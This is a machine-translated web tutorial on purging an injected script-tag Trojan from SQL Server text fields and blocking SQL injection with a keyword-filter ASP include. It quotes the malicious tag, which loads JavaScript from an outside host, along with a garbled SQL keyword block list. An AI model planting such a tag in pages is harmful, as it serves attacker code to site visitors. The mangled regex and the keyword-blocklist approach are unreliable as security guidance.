Code for bulk replacement of database Trojan fields and prevention of SQL injection attacks

Back up the database first to avoid unnecessary losses. Then, execute the varchar field with less than 8000 characters of all mounted horses.

CopyCode The Code is as follows: Update table name set field name = Replace (field name, '<SCRIPT src = http://c.n % 75clear3.com/css/c.js> </SCRIPT> ','')

<SCRIPT src = http://c.n % 75clear3.com/css/c.js> </SCRIPT> is the trojan field. The trojan field is cleared after execution. However, some fields, such as content fields and other varchar fields with more than 8000 characters, must be executed.Copy codeThe Code is as follows: Update table name set table item = Replace (cast (Table item as varchar (8000), '<SCRIPT src = http:/c.nuclear3.com/css/c.js> </SCRIPT> ', '')

To update the trojan field. Due to the large amount of content, the real estate network will be suspended when executing the preceding statement. Therefore, a interval is added and 15000 entries are processed at a time.Copy codeThe Code is as follows: Update table name set table item = Replace (cast (Table item as varchar (8000), '<SCRIPT src = http:/c.nuclear3.com/css/c.js> </SCRIPT> ', '') where ID> 1 and ID <15000

The above Trojan problems are generally SQL databases, which are unique to SQL databases. Changing the database is unrealistic and can only be prevented based on the above situations. The idea is to filter all database connection requests accordingly. Copy code The Code is as follows: <%
Response. Buffer = true' cache page
'Prevent get Injection
If request. querystring <> "then stopinjection (request. querystring)
'Prevents post injection
If request. Form <> "" Then stopinjection (request. Form)
'Prevent cookie Injection
If request. Cookies <> "" Then stopinjection (request. Cookies)
'Regularized subfunctions
Function stopinjection (values)
Dim RegEx
Set RegEx = new Regexp
RegEx. ignorecase = true
RegEx. Global = true
RegEx. pattern = "'|; | # | ([\ s \ B + ()] + ([email = select % 7 cupdate % 7 cinsert % 7 cdelete % 7 cdeclare % 7C @ % 7 cexec % 7 cdbcc % 7 calter % 7 cdrop % 7 ccreate % 7 cbackup % 7cif % 7 celse % 7 Cend % 7 cand % 7cor % 7 CADD % 7 cset % 7 Copen % 7 cClose % 7 Cuse % 7 cbegin % 7 cretun % 7cas % 7cgo % 7 cexists) [/S/B] Select | update | insert | Delete | declare | @ | exec | DBCC | alter | drop | create | Backup | if | else | End | and | or | add | set | open | close | use | begin | retun | as | go | exists) [\ s \ B [/Email] +] *)"
Dim sitem, svalue
For each sitem in values
Svalue = values (sitem)
If RegEx. Test (svalue) then
Response. Write "<script language = JavaScript> alert ('invalid injection! Your behavior has been recorded !! '); History. Back (-1); </SCRIPT>"
Response. End
End if
Next
Set RegEx = nothing
End Function
%>

Make a general SQL anti-injection page and include it in the conn. ASP database connection statement. This enables the whole site to prevent SQL injection attacks. But is the front-end similar? The injection vulnerability still exists in such a statement. We need to strictly filter the content obtained by request. Form and request. querystring. You do not need to use the request ("name") method to obtain values. Do not use SQL statements to query database operations for cookies.

If you are not familiar with sqlserver, you can use the software to implement it.
SQL Server database batch replacement tool (database and text file search and replacement) V1.0 Chinese Green Edition

SQL Server database bulk search replacement tool 1.2 SQL Trojan clearing Assistant